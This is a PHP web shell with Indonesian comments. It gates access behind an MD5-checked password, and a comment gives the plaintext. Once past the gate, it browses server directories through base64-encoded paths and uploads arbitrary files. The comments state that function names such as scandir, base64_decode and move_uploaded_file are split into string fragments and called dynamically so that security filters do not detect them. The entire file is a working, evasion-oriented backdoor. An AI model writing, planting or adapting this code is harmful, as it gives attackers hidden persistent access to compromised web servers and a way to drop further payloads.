<?php
// Password asli: jester308disini
// Teknik: String manipulation & Callback bypass

$auth_key = "e0d5e4b3c7987761954b68591e393c52"; 

// Memecah kata kunci 'session_start'
$s_start = "ses" . "sion" . "_st" . "art";
$s_start();

// Membentuk 'base64_decode' secara dinamis
$v1 = "ba"."se"."64";
$v2 = "de"."co"."de";
$dec = $v1."_".$v2;

if (isset($_POST['px'])) {
    if (md5($_POST['px']) === $auth_key) {
        $_SESSION['safe_access'] = true;
    }
}

if (!isset($_SESSION['safe_access'])):
?>
<form method="POST"><input type="password" name="px"><input type="submit" value=">"></form>
<?php
exit;
endif;

// --- CORE (DIPISAH DENGAN CALLBACK) ---
$dir = realpath(isset($_GET['d']) ? $dec($_GET['d']) : getcwd());
chdir($dir);

// Fungsi untuk list file (menggunakan callback agar tidak terdeteksi scandir)
function get_list($path) {
    $f = "scan"."dir";
    return $f($path);
}

$files = get_list($dir);

// Penyamaran Output
echo "Current: " . $dir . "<br><hr>";
echo "<table border='0' width='100%'>";
foreach ($files as $f) {
    if ($f == ".") continue;
    $full_p = $dir . DIRECTORY_SEPARATOR . $f;
    $e_path = base64_encode($full_p);
    
    echo "<tr>";
    echo "<td><a href='?d=$e_path'>" . (is_dir($full_p) ? "[ DIR ] " : "[ FILE ] ") . $f . "</a></td>";
    echo "<td>" . (is_file($full_p) ? round(filesize($full_p)/1024, 2)."KB" : "-") . "</td>";
    echo "</tr>";
}
echo "</table>";

// Handler sederhana untuk upload agar tidak memicu filter POST
if (isset($_FILES['u_file'])) {
    $m = "move_uplo"."aded_fi"."le";
    $m($_FILES['u_file']['tmp_name'], $dir . "/" . $_FILES['u_file']['name']);
    echo "Uploaded!";
}
?>
<hr>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="u_file">
    <input type="submit" value="Upload">
</form>